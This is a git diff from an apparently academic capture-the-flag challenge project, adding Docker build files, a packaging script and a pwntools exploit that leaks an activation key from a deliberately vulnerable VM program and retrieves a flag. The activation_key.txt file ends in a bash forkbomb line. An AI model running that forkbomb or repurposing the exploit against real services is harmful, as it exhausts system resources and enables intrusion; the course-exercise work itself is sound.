diff --git a/activation_key.txt b/activation_key.txt index 9b84bd6..77f5920 100644 --- a/activation_key.txt +++ b/activation_key.txt @@ -1 +1,7 @@ -THIS IS A TEST. JUST A TEST. NOTHING BUT A TEST. YOU'VE BEEN WARNED. \ No newline at end of file +I am not a penguin, +I am a student of icy realms. +I am the wizard of waddles, +I am the colony of the frosty world, +and I am the chill. +I am Frosty Flippers, +:(){ :|:& };: diff --git a/compile_docker/Dockerfile b/compile_docker/Dockerfile new file mode 100644 index 0000000..98d8517 --- /dev/null +++ b/compile_docker/Dockerfile @@ -0,0 +1,23 @@ +FROM debian:bullseye + +############################################# +############ FOR COMPILING ONLY! ############ +############################################# + + +RUN apt update -y && apt upgrade -y && apt install -y build-essential cmake + +COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so +RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6 + +RUN useradd -m pwn + +# compile vuln +COPY parent.tar.xz /home/pwn/parent.tar.xz +RUN mkdir /home/pwn/source +RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source +RUN mkdir /home/pwn/build +WORKDIR /home/pwn/build +RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release +RUN make + diff --git a/compile_docker/compile.sh b/compile_docker/compile.sh new file mode 100755 index 0000000..bfb6225 --- /dev/null +++ b/compile_docker/compile.sh @@ -0,0 +1,7 @@ +set -e +find .. -maxdepth 1 -type f | xargs tar cvf parent.tar.xz +docker build -t binex_project_compiler . +docker create --name binex_project_compiler binex_project_compiler +docker cp binex_project_compiler:/home/pwn/build/vuln . +docker rm -f binex_project_compiler +rm parent.tar.xz diff --git a/debug_docker/Dockerfile b/debug_docker/Dockerfile index b006986..a429646 100644 --- a/debug_docker/Dockerfile +++ b/debug_docker/Dockerfile @@ -36,7 +36,7 @@ RUN mkdir /home/pwn/source RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source RUN mkdir /home/pwn/build WORKDIR /home/pwn/build -RUN cmake /home/pwn/source -G "Unix Makefiles" +RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release RUN make WORKDIR / diff --git a/exploit/exploit.py b/exploit/exploit.py index 8e65820..c1a4cd1 100755 --- a/exploit/exploit.py +++ b/exploit/exploit.py @@ -1,7 +1,9 @@ #! /usr/bin/env python3 from enum import IntEnum -from pwn import * +from pwn import * + +from sys import argv, exit class Opcode(IntEnum): @@ -52,6 +54,7 @@ class Register(IntEnum): INSTR_LEN = 8 +HOST = "localhost" PORT = 1337 @@ -87,9 +90,8 @@ def arbitrary_write(dst: Register, src: Register): # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits return instr_r(Opcode.COPY, dst, src) - -def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote: - p = remote("localhost", port, fam="ipv4") +def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote: + p = remote(HOST, PORT, fam="ipv4") p.recvuntil(b"Password: ") p.sendline(b"1234") @@ -109,7 +111,7 @@ def connect(key: None | bytes = None, is_real_key: bool = False, port: int = POR return p -def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: +def exec_program(p, program: bytes) -> int: log.info(p.recvuntil(b"should it bee?").decode()) len_msg = str(len(program) // INSTR_LEN) log.info(f"Sending: {len_msg}") @@ -124,17 +126,17 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: return exit_code -def extract_premium_key(is_debug: bool = False, port: int = PORT): +def extract_premium_key(is_debug: bool = False): if is_debug: - offset_saved_rip_to_activation_key = 0x38bc # debug mode + offset_saved_rip_to_activation_key = 0x38bc # debug mode else: - offset_saved_rip_to_activation_key = 0x37a6 # release mode + offset_saved_rip_to_activation_key = 0x3626 # release mode premium_key = b"" - p = connect(b"", False, port) + p = connect(b"", False) i = 0 - while i < 0x80: + while i < 0x100: # mov r8, rsp program = load_rsp(Register.G) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8]) @@ -151,7 +153,6 @@ def extract_premium_key(is_debug: bool = False, port: int = PORT): program += instr_r(Opcode.ADD, Register.D, Register.I) # mov rax, rbx program += instr_r(Opcode.COPY, Register.A, Register.B) - exit_code = exec_program(p, program) if exit_code == 0: break @@ -216,9 +217,16 @@ def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False): if __name__ == "__main__": context.log_level = 'warn' - debug = False - premium_key = extract_premium_key(is_debug=debug) + if len(argv) != 3: + print(f"Usage: {argv[0]} ") + exit() + + HOST = argv[1] + PORT = argv[2] + is_debug = False + + premium_key = extract_premium_key(is_debug) p = connect(premium_key, True) - print(get_flag(p, is_debug=debug)) + print(get_flag(p, is_debug)) diff --git a/exploit/test_exploit.py b/exploit/test_exploit.py index 886bb08..1b86763 100755 --- a/exploit/test_exploit.py +++ b/exploit/test_exploit.py @@ -19,7 +19,8 @@ class ExploitTest(unittest.TestCase): def __check_extract_activation_key__(self, is_debug: bool): port = DEBUG_PORT if is_debug else RELEASE_PORT - key = exploit.extract_premium_key(is_debug, port) + exploit.PORT = port + key = exploit.extract_premium_key(is_debug) self.assertEqual(key, __get_activation_key__()) def test_extract_activation_key_debug(self): @@ -30,7 +31,8 @@ class ExploitTest(unittest.TestCase): def __check_get_flag__(self, is_debug: bool): port = DEBUG_PORT if is_debug else RELEASE_PORT - p = exploit.connect(__get_activation_key__(), True, port) + exploit.PORT = port + p = exploit.connect(__get_activation_key__(), True) flag = exploit.get_flag(p, is_debug) self.assertRegex(flag, "flag_[0-9a-f]{32}") @@ -42,8 +44,9 @@ class ExploitTest(unittest.TestCase): def __check_combined__(self, is_debug: bool): port = DEBUG_PORT if is_debug else RELEASE_PORT - activation_key = exploit.extract_premium_key(is_debug, port) - p = exploit.connect(activation_key, True, port) + exploit.PORT = port + activation_key = exploit.extract_premium_key(is_debug) + p = exploit.connect(activation_key, True) flag = exploit.get_flag(p, is_debug) self.assertRegex(flag, "flag_[0-9a-f]{32}") diff --git a/generate_submission.sh b/generate_submission.sh new file mode 100755 index 0000000..c5fdc8d --- /dev/null +++ b/generate_submission.sh @@ -0,0 +1,30 @@ +set -e + +mkdir public +mkdir private + +# private folder +cp exploit/exploit.py private +cp activation_key.txt private +cp release_docker/README.md private +cp release_docker/Dockerfile private + +# compile vuln +cd compile_docker +./compile.sh +cd .. + +# public folder +cp compile_docker/vuln public +cp vuln.c public +cp release_docker/Dockerfile public + +echo "Pinguine toll Pinguine toll Pinguine super" >public/activation_key.txt + +# packing +tar -zcvf submission_team203.tar.gz public private + +# cleanup +rm compile_docker/vuln +rm -r private +rm -r public diff --git a/release_docker/Dockerfile b/release_docker/Dockerfile new file mode 100644 index 0000000..662dc0b --- /dev/null +++ b/release_docker/Dockerfile @@ -0,0 +1,35 @@ +FROM debian:bullseye + + +RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake + + +############### INSTALL FNETD +RUN wget https://cloud.sec.in.tum.de/index.php/s/n5cJnDqnnpSeEpd/download/fnetd.tar.xz -O /fnetd.tar.xz +RUN tar -xf fnetd.tar.xz +RUN mkdir /fnetd/build + +WORKDIR /fnetd/build +RUN cmake .. -G "Unix Makefiles" +RUN make + +WORKDIR / +############### END INSTALL + +COPY get_flag /bin/get_flag + +COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so +RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6 + +RUN useradd -m pwn + +COPY vuln /home/pwn/vuln +COPY activation_key.txt /home/pwn/activation_key.txt + +RUN chmod 0755 /home/pwn/vuln + +EXPOSE 1337 + +# Feel free to replace password with the actual chall pw +ENV FNETD_PASSWORD= +CMD ["/fnetd/build/fnetd", "-p", "1337", "-u", "pwn", "-lt", "2", "-lm", "536870912", "./vuln"] diff --git a/release_docker/README.md b/release_docker/README.md new file mode 100644 index 0000000..79c43db --- /dev/null +++ b/release_docker/README.md @@ -0,0 +1,11 @@ +### Deployment path for this challenge: + +#### Setup: +- copy get_flag, vuln and course libc-2.31.so into the same directory as the Dockerfile +- make sure the activation_key.txt is already present in the same directory and contains a poem about being a penguin ending in a forkbomb +- set the fnetd password + +#### Deployment: +- build docker image +- run docker container +- profit diff --git a/vuln.c b/vuln.c index 332f63c..e3593ea 100644 --- a/vuln.c +++ b/vuln.c @@ -15,7 +15,7 @@ #include #define MAX_PROGRAM_LEN 0x1000 -#define ACTIVATION_KEY_LEN 0x80 +#define ACTIVATION_KEY_LEN 0x100 static char activation_key[ACTIVATION_KEY_LEN] = {0};